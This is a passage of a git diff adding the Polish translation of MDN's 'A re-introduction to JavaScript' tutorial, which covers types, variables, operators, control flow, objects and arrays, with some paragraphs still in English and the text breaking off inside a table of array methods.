+ <dt><a href="/en-US/docs/Web/JavaScript/Language_Resources" title="en-US/docs/JavaScript_Language_Resources">Language resources</a></dt>
+ <dd>Pointers to published JavaScript standards.</dd>
+ <dt><a href="/en-US/docs/Web/JavaScript/A_re-introduction_to_JavaScript" title="en-US/docs/A_re-introduction_to_JavaScript">A re-introduction to JavaScript</a></dt>
+ <dd><a href="/en-US/docs/Web/JavaScript/Guide" title="en-US/docs/JavaScript/Guide">JavaScript guide</a> and <a href="/en-US/docs/Web/JavaScript/Reference" title="en-US/docs/JavaScript/Reference">JavaScript reference</a>.</dd>
+</dl>
+
+<p>JavaScript® is a trademark or registered trademark of Oracle in the U.S. and other countries.</p>
diff --git a/files/pl/web/javascript/ponowne_wprowadzenie_do_javascript/index.html b/files/pl/web/javascript/ponowne_wprowadzenie_do_javascript/index.html
new file mode 100644
index 0000000000..abb01ce731
--- /dev/null
+++ b/files/pl/web/javascript/ponowne_wprowadzenie_do_javascript/index.html
@@ -0,0 +1,965 @@
+---
+title: Ponowne wprowadzenie do JavaScript (JS tutorial)
+slug: Web/JavaScript/Ponowne_wprowadzenie_do_JavaScript
+translation_of: Web/JavaScript/A_re-introduction_to_JavaScript
+---
+<div>{{jsSidebar}}</div>
+
+<div></div>
+
+<div>Po co ponowne wprowadzanie? Ponieważ {{Glossary("JavaScript")}} osławiony jest jako <a href="http://crockford.com/javascript/">najbardziej niezrozumiany język świata</a>. Często wyśmiewany jest jako bycie zabawką, jednak pod warstwą jego prosoty czekają potężne funkcje. Obecnie JavaScript używany jest w niewiarygodnie dużej ilości wysokoprofilowych aplikacji, pokazując, że dogłębne zrozumienie tej technologii jest ważną umiejętnością dla każdego, webowego jak i mobilnego, dewelopera.</div>
+
+<div></div>
+
+<div>Warto rozpocząć od zaznajomienia się z historią tego języka. JavaScript został stworzony w 1995 roku przez Brendah Eich, który w tym czasie był inżynierem w Netscape. Pierwszy raz JavaScript został wydany z Netscape 2 początkiem 1996 roku. Pierwotnie miał on być nazywany LiveScript, został jednak przemianowany za sprawą feralnej decyzji marketingowej, która miała na celu wykorzystanie popularności języka Java Sun Microsystem - pomijając znikome części wspólne. Od tego czasu jest to źrodłem wielu nieporozumień.  </div>
+
+<div></div>
+
+<div>Kilka miesięcy poźniej Microsoft wydał JScript razem z Internet Explorer 3. Był to w większości kompatybilny i podobny w pracy do JavaScript. Kilka miesięcy po tym, Netscape zgłosił JavaScript do <a href="http://www.ecma-international.org/">Ecma International</a>, europejskiego stowarzyszenia standaryzującego, czego rezultatem było wydanie pierwszej edycji {{Glossary("ECMAScript")}}. Standard otrzymał znaczącą aktualizację jako <a href="http://www.ecma-international.org/publications/standards/Ecma-262.htm">ECMAScript edition 3</a> w 1999 roku i od tego czasu został prawie niezmieniony. Czwarta edycja została porzucona z powodu różnic politycznych dotyczących złożoności języka. Wiele części czwartej edycji uformowało podstawy dla piątej ECMAScript - opublikowanej w grudniu 2009 roku, oraz szóstej, której publikacja wypadła w czerwcu 2015 roku.</div>
+
+<div></div>
+
+<div></div>
+
+<div class="note">
+<p>Od tej pory określenie "JavaScript" będzie używane w odniesieniu do ECMAScript, ponieważ określenie to jest bardziej rozpoznawalne.</p>
+</div>
+
+<p>W odróżnieniu od innych języków programowania, JavaScript nie posiada koncepcji wejścia ani wyjścia. Zaprojektowany został do działania jako język skryptowy działający w środowisku hosta i do tego środowiska nalezy zapewnienie mechanizmów komunikacji ze światem. Najbardziej pospolitym środowiskiem jest przeglądarka, jednak interpretatory JavaScript można znaleźć również w wielu innych miejscach włączając w to Adobe Acrobat, Adobe Photoshop, obrazy SVG, silnik wigetów Yahoo, w środowiskach uruchomieniowych takich jak <a href="http://nodejs.org/">Node.js</a>, bazach danych NoSQL - <a href="http://couchdb.apache.org/">Apache CouchDB</a>, systemach wbudowanych czy kompletnych środowiskach graficznych takich jak <a href="http://www.gnome.org/">GNOME </a>( jeden z najpopularniejszych GUI dla systemów operacyjnych GNU/Linux ).</p>
+
+<h2 id="Przegląd">Przegląd</h2>
+
+<p>JavaScript jest wieloparadygmatowym, dynamicznym językiem z typami i operatorami, standardowymi wbudowanymi obiektami oraz metodami. Jego składnia opiera się na językach Java i C - wiele struktur tych języków również zostało wprowadzonych do JavaScript-u. JavaScript wspiera programowanie obiektowe z prototypami obiektów zamiast klas ( zobacz więcej <a href="https://developer.mozilla.org/pl/docs/Web/JavaScript/dziedziczenie_lancuch_prototypow">dziedziczenie prototypowe</a> oraz <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes">ES2015 klasy</a> (ang.)). Dodatkowo JavaScript wspiera programowanie funkcyjne - funkcje są obiektami, nadanie funkcjom możliwości przechowywania kodu wykonawczego i przekazywaniu go jak każdemu innemu obiektowi.</p>
+
+<p>Zacznijmy od spojrzenia na budulec każdego języka: typy. Programy JavaScript manipulują wartościami, a wszystkie te wartości należą do typu. W JavaScript wyróżniamy typy: </p>
+
+<ul>
+ <li>{{jsxref("Number")}}</li>
+ <li>{{jsxref("String")}}</li>
+ <li>{{jsxref("Boolean")}}</li>
+ <li>{{jsxref("Function")}}</li>
+ <li>{{jsxref("Object")}}</li>
+ <li>{{jsxref("Symbol")}} (new in ES2015)</li>
+</ul>
+
+<p>...oraz {{jsxref("undefined")}} i {{jsxref("null")}}, które są nieco dziwne. Obiekty posiadają specjalne rodzaje, więc aby być technicznie poprawnym powyższa lista powinna wyglądać następująco:</p>
+
+<ul>
+ <li>{{jsxref("Number")}}</li>
+ <li>{{jsxref("String")}}</li>
+ <li>{{jsxref("Boolean")}}</li>
+ <li>{{jsxref("Symbol")}} (new in ES2015)</li>
+ <li>{{jsxref("Object")}}
+ <ul>
+ <li>{{jsxref("Function")}}</li>
+ <li>{{jsxref("Array")}}</li>
+ <li>{{jsxref("Date")}}</li>
+ <li>{{jsxref("RegExp")}}</li>
+ </ul>
+ </li>
+ <li>{{jsxref("null")}}</li>
+ <li>{{jsxref("undefined")}}</li>
+</ul>
+
+<p>Istnieją także wbudowane typy {{jsxref("Error")}}. Będzie prościej jeśli będziemy trzymać się pierwszej listy, a więc omówione zostaną wymienione tam typy.</p>
+
+<h2 id="Liczby">Liczby</h2>
+
+<p>Zgodnie ze specyfikacją numery w JavaScript są "wartościami podwójnie precyzyjnymi 64-bitowego formatu IEEE 754". Ma to pewne interesujące konsekwencje. W JavaScript nie ma rzeczy takiej jak liczba całkowita, należy więc być dość ostrożnym z artmetyką jeśli jesteś przyzywczajony do matematyki w języku C lub Java.</p>
+
+<p>Dodatkowo, zwracaj uwagę na rzeczy takie jak: </p>
+
+<pre class="brush: js">0.1 + 0.2 == 0.30000000000000004;
+</pre>
+
+<p>W praktyce, liczby całkowite są traktowane jako 32-bitowe jednostki, a niektóre implementacje przechowują je w ten sposób dopóki nie zostaną poproszone o wykonanie instrukcji, która jest poprawna dla liczby, ale nie dla 32-bitowej liczby całkowitej. Może to być istotne dla operacji bitowych.</p>
+
+<p>Standardowe<a href="/en-US/docs/Web/JavaScript/Reference/Operators#Arithmetic_operators"> operatory arytmetyczne</a> są wspierane, wliczając w to dodawanie, odejmowanie, modulo i tak dalej. Istnieje też wbudowany obiekt, o którym zapomnieliśmy wspomnieć, {{jsxref("Math")}}, który zapewnia zaawansowane funkcje i stałe matematyczne:</p>
+
+<pre class="brush: js">Math.sin(3.5);
+var circumference = 2 * Math.PI * r;
+</pre>
+
+<p>Możesz zamienić String na liczbę całkowitą używając wbudowanej funkcji {{jsxref("Global_Objects/parseInt", "parseInt()")}}. Funkcja ta przyjmuje podstawę do konwersji jako opcjonalny drugi argument, który zawsze należy podawać:</p>
+
+<pre class="brush: js">parseInt('123', 10); // 123
+parseInt('010', 10); // 10
+</pre>
+
+<p>W starszych przeglądarkach, String-i zaczynające się od "0" przyjmowane są w formacie ósemkowym (podstawa 8), jednak od 2013 roku nie stanowiło to problemu. Chyba, że jesteś pewien formatu String-a, mogą zaskoczyć Cię wyniki w starszych przeglądarkach:</p>
+
+<pre class="brush: js">parseInt('010'); // 8
+parseInt('0x10'); // 16
+</pre>
+
+<p>Widzimy tu, że funkcja {{jsxref("Global_Objects/parseInt", "parseInt()")}} traktuje pierwszego Stringa w systemie ósemkowym przez 0 na przodzie, drugi String natomiast traktowny jest w systemie szesnastowym przez "0x" z przodu. <em>Zapis szesnastkowy nadal istnieje</em>; tylko ósemkowy został usunięty.</p>
+
+<p>Jeśli chcesz zmenić liczbę binarną na całkowitą, wystarczy zmienić podstawę:</p>
+
+<pre class="brush: js">parseInt('11', 2); // 3
+</pre>
+
+<p>Podobnie możemy przekształcić liczbę zmiennoprzecinkową używając wbudowanej funckcji {{jsxref("Global_Objects/parseFloat", "parseFloat()")}}.  W odróżnieniu do {{jsxref("Global_Objects/parseInt", "parseInt()")}}, <code>parseFloat()</code> zawsze uzywa 10 jako podstawy.</p>
+
+<p>Możesz użyć działania jednoargumentowego <code>+</code>, aby zamienić wartości na liczby:</p>
+
+<pre class="brush: js">+ '42'; // 42
++ '010'; // 10
++ '0x10'; // 16
+</pre>
+
+<p>Specjalna wartość {{jsxref("NaN")}} ( skrót od "Not a Number" ( ang. nie numer )) zostaje zwrócona jeśli String nie jest liczbowy:</p>
+
+<pre class="brush: js">parseInt('hello', 10); // NaN
+</pre>
+
+<p><code>NaN</code> jest toksyczny: jesli podasz go jako argument operacji matematycznej jej wynikiem również będzie <code>NaN</code>:</p>
+
+<pre class="brush: js">NaN + 5; // NaN
+
+</pre>
+
+<p>Możesz wykorzystać <code>NaN</code> do testów używając wbudowanej funkcji {{jsxref("Global_Objects/isNaN", "isNaN()")}}:</p>
+
+<pre class="brush: js">isNaN(NaN); // true
+
+</pre>
+
+<p>JavaScript dostarcza również specjalną wartość {{jsxref("Infinity")}} oraz <code>-Infinity</code>:</p>
+
+<pre class="brush: js"> 1 / 0; // Infinity
+-1 / 0; // -Infinity
+
+</pre>
+
+<p><code>Infinity</code>, <code>-Infinity</code> oraz <code>NaN </code>wykorzystane mogą być do testów za pomocą wbudowanej funkcji {{jsxref("Global_Objects/isFinite", "isFinite()")}}:</p>
+
+<pre class="brush: js">isFinite(1 / 0); // false
+isFinite(-Infinity); // false
+isFinite(NaN); // false
+</pre>
+
+<div class="note">Funkcje {{jsxref("Global_Objects/parseInt", "parseInt()")}} i {{jsxref("Global_Objects/parseFloat", "parseFloat()")}} przekształcają String dopóki nie napotkają znaku, który nie spełnia wymagań formatu liczbowego, po napotkaniu takiego znaku zwrócona zostanie liczba przekształcona do tego momentu. Jednak operator "+" zwyczajnie zwróci <code>NaN</code> jeśli w przekształcanym Stringu znajduje się niepoprawny znak. Spróbuj przekształcić String "10.2abc" używając przedstawionych metod, aby lepiej zrozumieć ich rożnice.</div>
+
+<h2 id="Strings">Strings</h2>
+
+<p>String-ami w JavaScript są sekwencje <a href="/en-US/docs/Web/JavaScript/Guide/Values,_variables,_and_literals#Unicode">znaków Unicode</a>.  To powinna być dobra wiadomość dla każdego kto miał do czynienia z internacjonalizacją. Dokładniej, są to sekwencje jednostek kodowych UTF-16; każda jednostka kodowa jest reprezentowana przez 16-bitową liczbę. Każdy znak Unicode reprezentowany jest przez 1 lub 2 jednostki kodu.</p>
+
+<p>Jeśli chcesz przekazać jeden znak, musisz poprostu użyć String-a składającego się z tego pojedyńczego znaku.</p>
+
+<p>Aby sprawdzić długość String-a (w jednostkach kodu), użyj właściwości <a href="https://developer.mozilla.org/pl/docs/Web/JavaScript/Referencje/Obiekty/String/length">length</a>:</p>
+
+<pre class="brush: js">'hello'.length; // 5
+</pre>
+
+<p>To było nasza pierwsza styczność z obiektami JavaScript! Wspominaliśmy, że możesz traktować String-i jak {{jsxref("Object", "obiekty", "", 1)}}? Też posiadają one {{jsxref("String", "metody", "#Methods", 1)}}, które pozwalają nimi manipulować i uzyskiwać informacje na ich temat:</p>
+
+<pre class="brush: js">'hello'.charAt(0); // "h"
+'hello, world'.replace('hello', 'goodbye'); // "goodbye, world"
+'hello'.toUpperCase(); // "HELLO"
+</pre>
+
+<h2 id="Inne_typy">Inne typy</h2>
+
+<p>JavaScript odróżnia {{jsxref("null")}}, który jest wartością wskazujacą na umyślny brak wartości ( dostęp do nich tylko za pomocą słowa kluczowego <code>null</code> ), od {{jsxref("undefined")}}, która jest wartością typu <code>undefinded</code>, wskazującą na niezainicjowaną wartość - oznacza to, że wartość nie została jeszcze przypisana. Zmienne zostaną omówione później, narazie wystarczy nam wiedza, że w JavaScripcie możliwe jest zdeklarowanie zmiennej bez przypisania do niej wartości. Jeśli to zrobimy zmienna będzie typu <code>undefinded</code>. <code>undefinded</code> jest w rzeczywistości stałą.</p>
+
+<p>JavaScript posiada boolean (logiczny typ danych) z możliwymi wartościami <code>true</code> lub <code>false</code> (obie są słowami kluczowymi). Każda wartość może zostać przekonwertowana na typ logiczny zgodnie z zasadami:</p>
+
+<ol>
+ <li><code>false</code>, <code>0</code>, pusty string (<code>""</code>), <code>NaN</code>, <code>null</code>, oraz <code>undefined</code> wszystkie odpowiadają <code>false</code>.</li>
+ <li>Wszystkie inne odpowiadają <code>true</code>.</li>
+</ol>
+
+<p>Możesz wykonać jawną konwersję używając wbudowanej funkcji <code>Boolean()</code>:</p>
+
+<pre class="brush: js">Boolean(''); // false
+Boolean(234); // true
+</pre>
+
+<p>Jednak, tego typu zamiana jest rzadko potrzeba, ponieważ JavaScript automatycznie wykona konwersję, kiedy oczekiwać będzie typu logicznego jak na przykład w przypadku instrukcji warunkowej <code>if</code> (zobacz niżej). Z tego powodu czasami mówi się o "wartościach prawdziwych" (<em>true values</em>) i "wartościach fałszywych" (<em>false value</em>), które oznaczają wartości, które po konwersji na typ logiczny stają się, odpowienio, prawdziwe lub fałszywe. Alternatywnie wartości te nazywane mogą być "truthy" lub "falsy".</p>
+
+<p>Operatory logiczne takie jak <code>&amp;&amp;</code>( i <em>)</em>, <code>||</code>( lub ) oraz <code>!</code>( negacja ) są wspierane; zobacz niżej.</p>
+
+<h2 id="Zmienne">Zmienne</h2>
+
+<p>Do deklaracji nowej zmiennej w JavaScript używamy jednego z trzech słów kluczowych: <a href="/en-US/docs/Web/JavaScript/Reference/Statements/let">let</a>, <a href="/en-US/docs/Web/JavaScript/Reference/Statements/const">const</a> lub <a href="/en-US/docs/Web/JavaScript/Reference/Statements/var">var</a>.</p>
+
+<p><code><strong>let</strong></code><strong> </strong>pozwala na deklarację zmiennej blokowej. Zadeklarowana zmienna dostępna jest z poziomu <em>bloku, </em>w którym została zadeklarowana.</p>
+
+<pre class="brush: js">let a;
+let name = 'Simon';
+
+</pre>
+
+<p>Poniżej znajduje się przykład zakresu ze zmienną zadeklarowaną za pomocą <code><strong>let</strong></code>:</p>
+
+<pre class="brush: js">// mojaZmiennaLet *nie* jest tutaj widoczna
+
+for (let mojaZmiennaLet = 0; mojaZmiennaLet &lt; 5; mojaZmiennaLet++) {
+ // mojaZmiennaLet jest widoczna tylko tutaj
+}
+
+// mojaZmiennaLet *nie* jest tutaj widoczna
+</pre>
+
+<p><code><strong>const</strong></code><strong> </strong>pozwala zadeklarować zmienne, których wartości z założenia są stałe. Zmienna dostępna jest z <em>bloku,</em> w którym została zadeklarowana.</p>
+
+<pre class="brush: js">const Pi = 3.14; // deklaruje zmienną Pi
+Pi = 1; // zwrócony zostanie błąd ponieważ nie można zmieniać zmiennej <code>const</code></pre>
+
+<p><strong><code>var</code> </strong>jest najczęściej deklarowaną zmienną. W odróżnieniu do dwóch pozostałych zmiennych nie posiada ograniczeń. Jest tak dlatego, że tradycyjnie był to jedeny sposób deklarowania zmiennych w JavaScript. Zmienna zadeklarowana przy użyciu <strong><code>var</code></strong> dostepna jest z <em>funkcji, </em>w której została zadeklarowana.</p>
+
+<pre class="brush: js">var a;
+var name = 'Simon';
+</pre>
+
+<p>Przykład zakresu zmiennej zadeklarowanej za pomocą <strong><code>var</code>:</strong></p>
+
+<pre class="brush: js">// mojaZmiennaVar *jest* tutaj widoczna
+
+for (var mojaZmiennaVar = 0; mojaZmiennaVar &lt; 5; mojaZmiennaVar++) {
+ // mojaZmiennaVar jest widoczna dla całej funckji
+}
+
+// mojaZmiennaVar *jest* tutaj widoczna
+</pre>
+
+<p>Jesli zadeklarujesz zmienną bez przypisania do niej wartości, jej typ stanie się <code>undefinded</code>.</p>
+
+<p>Ważną różnicą między JavaScript i innymi językami, jak Java, jest fakt, że w JavaScript bloki nie mają zasiegu; tylko funkcje posiadają zasięg. Więc jeśli zmienna zostanie zadeklarowana przy użyciu <code>var</code> w złożonej deklaracji (na przykład wewnątrz instrukcji warunkowej <code>if</code>), będzie ona widoczna dla całej funkcji. Jednak, korzystając ze składni ECMAScript 2015, deklaracje <a href="/en-US/docs/Web/JavaScript/Reference/Statements/let">let</a> i <a href="/en-US/docs/Web/JavaScript/Reference/Statements/const">const</a> pozwalają na tworzenie zmiennych o <u>zasięgu blokowym</u>.</p>
+
+<h2 id="Operatory">Operatory</h2>
+
+<p>Operatory liczbowe w JavaScript to <code>+</code>, <code>-</code>, <code>*</code>, <code>/</code> oraz <code>%</code>, który jest operatorem reszty (<a href="/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Remainder_%28%29">co nie jest tym samym co modulo</a>). Do przypisania wartości używamy =, istnieje także przypisanie złożone jak na przykład += i -=. Ich rozwinięcie to <code>x = x operator y</code></p>
+
+<p>x += 5;<br>
+ x = x + 5;</p>
+
+<p>Możesz użyć operatorów <code>++</code> aby inkrementować oraz <code>--</code> aby dekrementować. Mogą one być używane zarówno jako operatory prefiksowe lub  przyrostkowe.</p>
+
+<p><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Addition">Operator +</a> dodatkowo używany jest do łączenia string-ów.</p>
+
+<pre class="brush: js">'hello' + ' world'; // "hello world"
+
+</pre>
+
+<p>Jeśli dodasz string do numeru (lub innej wartości) wszystko zostanie przekształcone w string. Przykład poniżej:</p>
+
+<pre class="brush: js">'3' + 4 + 5; // "345"
+ 3 + 4 + '5'; // "75"
+</pre>
+
+<p>Dodanie do czegoś pustego string-a jest przydatnym sposobem na zamiane tego w string. </p>
+
+<p><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators">Porówniania</a> w JavaScript wykonywane są za pomocą <code>&lt;</code>, <code>&gt;</code>, <code>&lt;=</code> oraz <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">&gt;=</span></font>. Działają one zarówno ze string-ami jak i numerami. Równość jest trochę mniej prosta. Podwójny operator równości wykonuje przymusowe sprawdzenie kiedy podane zostały wartości o dwóch różnych typach, co czasami może dawać interesujące wyniki:</p>
+
+<pre class="brush: js">123 == '123'; // true
+1 == true; // true
+
+</pre>
+
+<p>Aby uniknąć przymusowego sprawdzenia, użyj potrójnego operatora równości:</p>
+
+<pre class="brush: js">123 === '123'; // false
+1 === true; // false
+</pre>
+
+<p>Dodatkowo występują operatory <code>!=</code> oraz <code>!==</code>.</p>
+
+<p>JavaScript posiada również <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators">operacje bitowe</a>.</p>
+
+<h2 id="Struktury_kontroli">Struktury kontroli</h2>
+
+<p>JavaScript posiada podobny zestaw struktur kontorli do innych języków rodziny C. Instrukcje warunkowe są wspierane przez <code>if</code> oraz <code>else</code>; jeśli chcesz możesz je ze sobą łączyć:</p>
+
+<pre class="brush: js">var name = 'kotki';
+if (name == 'pieski') {
+ name += ' hau';
+} else if (name == 'kotki') {
+ name += ' miau';
+} else {
+ name += '!';
+}
+name == 'kotki miau';
+</pre>
+
+<p>JavaScript ma pętle <code>while</code> i <code>do-while</code>. Pierwsza jest dobra do prostych pętli; druga, jeśli chcesz mieć pewność, że funkcja zostanie wykonana przynajmniej raz:</p>
+
+<pre class="brush: js">while (true) {
+ // an infinite loop!
+}
+
+var input;
+do {
+ input = get_input();
+} while (inputIsNotValid(input));
+</pre>
+
+<p>W JavaScript pętla <code>for</code> działa w taki sam sposób jak w C i Java: pozwala na zapewnienie informacji dla pętli w jednej lini.</p>
+
+<pre class="brush: js">for (var i = 0; i &lt; 5; i++) {
+ // Will execute 5 times
+}
+</pre>
+
+<p>JavaScript dodatkowo posiada dwie inne znaczące pętle for: <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...of">for...of</a></p>
+
+<pre class="brush: js">for (let value of array) {
+ // działania na value
+}
+</pre>
+
+<p>oraz <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in"><code>for</code>...<code>in</code></a>:</p>
+
+<pre class="brush: js">for (let własność in obiekt) {
+ // działania na własności obiektu
+}
+</pre>
+
+<p>Operatory <code>&amp;&amp;</code> oraz <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">|<code>|</code></span></font> w których wykonanie drugiego operanda zależne jest od pierwszego. Przydatne do sprawdzania istnienia obiektu przed przypisaniem do niego atrybutów:</p>
+
+<pre class="brush: js">var name = o &amp;&amp; o.getName();
+
+</pre>
+
+<p>Lub do cachowania wartości (kiedy wartości nieprawdziwe są nieprawidłowe):</p>
+
+<pre class="brush: js">var name = cachedName || (cachedName = getName());
+</pre>
+
+<p>JavaScript posiada potrójny operator dla wyrażeń warunkowych:</p>
+
+<pre class="brush: js">var allowed = (age &gt; 18) ? 'yes' : 'no';
+</pre>
+
+<p>Warunek <code>switch</code> może być używany dla wielu odgałęzień na podstawie liczby lub ciągu znaków:</p>
+
+<pre class="brush: js">switch (action) {
+ case 'draw':
+ drawIt();
+ break;
+ case 'eat':
+ eatIt();
+ break;
+ default:
+ doNothing();
+}
+</pre>
+
+<p>Jeśli nie dodasz warunku <code>break</code>, wykonanie "przeskoczy" do następnego warunku. Takie działanie jest bardzo rzadko pożądane - w rzeczywistości warto opisać celowy "przeskok" w komentarzu w celu ułatwienia debugowania:</p>
+
+<pre class="brush: js">switch (a) {
+ case 1: // przeskok
+ case 2:
+ eatIt();
+ break;
+ default:
+ doNothing();
+}
+</pre>
+
+<p>Domyślny (<code>default</code>) warunek jest opcjonalny. Możesz mieć wyrażenia zarówno w części przełącznika (<code>switch</code>), jak i w przypadku (<code>case</code>); porównania między nimi odbywają się przy pomocy operatora <code>===</code>: </p>
+
+<pre class="brush: js">switch (1 + 3) {
+ case 2 + 2:
+ yay();
+ break;
+ default:
+ neverhappens();
+}
+</pre>
+
+<h2 id="Obiekty">Obiekty</h2>
+
+<p>Obiekty w JavaScript można opisać jako prostą kolekcję par nazwa-wartość. Jako takie podobne są do:</p>
+
+<ul>
+ <li>Słowniki w Pythonie.</li>
+ <li>Tablic asocjacyjnych w Perl i Ruby.</li>
+ <li>Tablic asocjacyjnych w C i C++.</li>
+ <li>Map w Javie.</li>
+ <li>Tablic asocjacyjnych w PHP.</li>
+</ul>
+
+<p>Ze względu na popularność tej struktury danych są one świadectwem wszechstronności. Ponieważ wszystko (poza typami prostymi) jest traktowane w JavaScript jak obiekt, każdy program JavaScript naturalnie objemuje dużą ilość wyszukiwań w tablicach mieszających. Dobrze, że są one takie szybkie!</p>
+
+<p>Część "nazwa" jest stringiem, natomiast wartość może być każdą wartością JavaScript- nawet kolejnym obiektem. Pozwala to na budowanie struktur danych o dowolnej złożoności.</p>
+
+<p>Istnieją dwa podstawowe sposoby tworzenia pustego obiektu:</p>
+
+<pre class="brush: js">var obj = new Object();
+</pre>
+
+<p>Oraz:</p>
+
+<pre class="brush: js">var obj = {};
+</pre>
+
+<p>These are semantically equivalent; the second is called object literal syntax and is more convenient. This syntax is also the core of JSON format and should be preferred at all times.</p>
+
+<p>Semantycznie obie wersje są równe; druga, nazywana jest literalną składnią obiektu, jest wygodniejsza. Ta składnia jest dodatkowo kluczowym formatem JSON i powinna być preferowana w użyciu.</p>
+
+<p>Literalna składnia może być użyta do zainicjowania obiektu w całości:</p>
+
+<pre class="brush: js">var auto = {
+ marka: 'Ford',
+ model: 'Fiesta',
+ detale: {
+ kolor: 'grafitowy',
+ konieMechaniczne: 96
+ }
+};
+</pre>
+
+<p>Dostęp do atrybutu może być ze sobą połączony:</p>
+
+<pre class="brush: js">obj.detale.kolor; // grafitowy
+obj['detale']['konieMechaniczne']; // 96
+</pre>
+
+<p>The following example creates an object prototype, <code>Person</code> and an instance of that prototype, <code>you</code>.</p>
+
+<p>Poniższy przykład tworzy prototyp obiektu <code>Person</code> i jego instancję, <code>marek</code>.</p>
+
+<pre class="brush: js">function Person(imie, wiek) {
+ this.imie = imie;
+ this.wiek = wiek;
+}
+
+// Definiowanie obiektu
+var marek = new Person('Marek', 24);
+// Stworzyliśmy nową osobę o imieniu 'Marek' i wieku 24 lat.
+
+</pre>
+
+<p><strong>Once created</strong>, an object's properties can again be accessed in one of two ways:</p>
+
+<p>Do właściwości stworzonego obiektu można uzyskać dostep na dwa sposoby:</p>
+
+<pre class="brush: js">// notacja kropkowa ( <code>dot notation )</code>
+obj.name = 'Simon';
+var name = obj.name;
+</pre>
+
+<p>oraz...</p>
+
+<pre class="brush: js">// notacją nawiasową ( bracket notation )
+obj['name'] = 'Simon';
+var name = obj['name'];
+// zmienna może być użyta do zdefiniowania wartości klucza
+var user = prompt('what is your key?')
+obj[user] = prompt('what is its value?')
+</pre>
+
+<p>Te notacje także są semantycznie jednakowe. Druga metoda ma tę zaletę, że nazwa własności podawana jest jako string, dzięki czemu obliczana jest w czasie wykonywania. Jednak użycie tej metody zapobiega zastosowaniu niektórych mechanizmów JavaScript i procesów minifikacji. Może też być używany do ustawiania i pobierania własności z nazwami wykorzystującymi <a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Keywords">słowa zastrzeżone</a>: </p>
+
+<pre class="brush: js">obj.for = 'Simon'; // Syntax error, ponieważ 'for' jest zastrzeżone
+obj['for'] = 'Simon'; // kod działa
+</pre>
+
+<div class="note">
+<p>Począwszy od ECMAScript 5, słowa zastrzeżone mogą być używane jako nazwy własności obiektów "w locie". Oznacza to, że nie muszą być zamknięte w cudzysłów podczas definiowania obiektu notacją literałową. Zobacz <a href="http://es5.github.io/#x7.6.1">specyfikację ES5</a>.</p>
+</div>
+
+<p>For more on objects and prototypes see <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/prototype">Object.prototype</a>. For an explanation of object prototypes and the object prototype chains see <a href="/en-US/docs/Web/JavaScript/Inheritance_and_the_prototype_chain">Inheritance and the prototype chain</a>.</p>
+
+<p>Po więcej informacji na temat obiektów i prototypów zobacz <a href="pl/docs/Web/JavaScript/Referencje/Obiekty/Object/prototype">Object.prototype</a>. Wyjaśnienie prototypów obiektów i łańcuch prototypów zobacz <a href="/pl/docs/Web/JavaScript/dziedziczenie_lancuch_prototypow">dziedziczenie i łańcuch prototypów</a>.</p>
+
+<h2 id="Tablice">Tablice</h2>
+
+<p>Tablice w JavaScript są specialnym typem obiektu. Działają bardzo podobnie do zwykłych obiektów, jednak posiadają jedną magiczną właściwość <code>'length'</code>. Jest ona zawsze o jeden więcej niż najwyższy index w tablicy.</p>
+
+<p>Poniżej jeden z sposób tworzenia tablcy:</p>
+
+<pre class="brush: js">var a = new Array();
+a[0] = 'pies';
+a[1] = 'kot';
+a[2] = 'hen';
+a.length; // 3
+</pre>
+
+<p><span class="tlid-translation translation" lang="pl"><span title="">Bardziej dogodną notacją jest użycie literału tablicy:</span></span></p>
+
+<pre class="brush: js">var a = ['dog', 'cat', 'hen'];
+a.length; // 3
+</pre>
+
+<p><span class="tlid-translation translation" lang="pl"><span title="">Zauważ, że</span></span> <code>array.length</code> <span class="tlid-translation translation" lang="pl"><span title="">niekoniecznie jest liczbą elementów w tablicy.</span></span> <span class="tlid-translation translation" lang="pl"><span title="">Rozważ następujący zapis:</span></span></p>
+
+<pre class="brush: js">var a = ['dog', 'cat', 'hen'];
+a[100] = 'fox';
+a.length; // 101
+</pre>
+
+<p><span class="tlid-translation translation" lang="pl"><span title="">Pamiętaj - długość tablicy jest o jeden większa niż najwyższy indeks.</span></span></p>
+
+<p>If you query a non-existent array index, you'll get a value of <code>undefined</code> in return:</p>
+
+<pre class="brush: js">typeof a[90]; // undefined
+</pre>
+
+<p>If you take the above about <code>[]</code> and <code>length</code> into account, you can iterate over an array using the following <code>for</code> loop:</p>
+
+<pre class="brush: js">for (var i = 0; i &lt; a.length; i++) {
+ // Do something with a[i]
+}
+</pre>
+
+<p>ECMAScript introduced the more concise <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...of"><code>for</code>...<code>of</code></a> loop for iterable objects such as arrays:</p>
+
+<pre class="brush:js">for (const currentValue of a) {
+ // Do something with currentValue
+}</pre>
+
+<p>You could also iterate over an array using a <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in" title="/en/JavaScript/Reference/Statements/for...in"><code>for</code>...<code>in</code></a> loop, however this does not iterate over the array elements, but the array indices. Furthermore, if someone added new properties to <code>Array.prototype</code>, they would also be iterated over by such a loop. Therefore this loop type is not recommended for arrays.</p>
+
+<p>Another way of iterating over an array that was added with ECMAScript 5 is <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/forEach">forEach()</a></code>:</p>
+
+<pre class="brush: js">['dog', 'cat', 'hen'].forEach(function(currentValue, index, array) {
+ // Do something with currentValue or array[index]
+});
+</pre>
+
+<p>If you want to append an item to an array simply do it like this:</p>
+
+<pre class="brush: js">a.push(item);</pre>
+
+<p>Arrays come with a number of methods. See also the <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array">full documentation for array methods</a>.</p>
+
+<table>
+ <thead>
+ <tr>
+ <th scope="col">Method name</th>
+ <th scope="col">Description</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>a.toString()</code></td>
